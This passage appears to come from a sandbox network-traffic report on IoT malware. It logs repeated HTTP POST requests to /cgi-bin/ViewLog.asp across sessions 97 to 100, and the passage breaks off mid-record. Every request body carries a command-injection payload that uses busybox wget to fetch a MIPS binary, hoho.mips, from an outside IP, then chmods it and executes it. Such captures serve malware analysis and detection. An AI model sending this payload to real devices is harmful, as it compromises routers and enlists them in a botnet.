                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                97192.168.2.155238031.136.243.1148080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:18.268969059 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:21.308449030 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:27.452292919 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:39.484044075 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:04.827348948 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:53.977910995 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                98192.168.2.154704031.136.32.328080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:18.269010067 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:18.844579935 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:19.996448040 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:22.332407951 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:26.940282106 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:36.156105995 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:54.587661982 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:31.450640917 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                99192.168.2.154250831.136.192.178080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:18.269067049 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:18.844559908 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:19.996457100 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:22.332396984 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:26.940298080 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:36.156107903 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:54.587640047 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:31.450644016 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                100192.168.2.155243631.136.28.1488080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:18.269175053 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:18.876461029 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:20.060600042 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:22.588430882 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:27.452256918 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
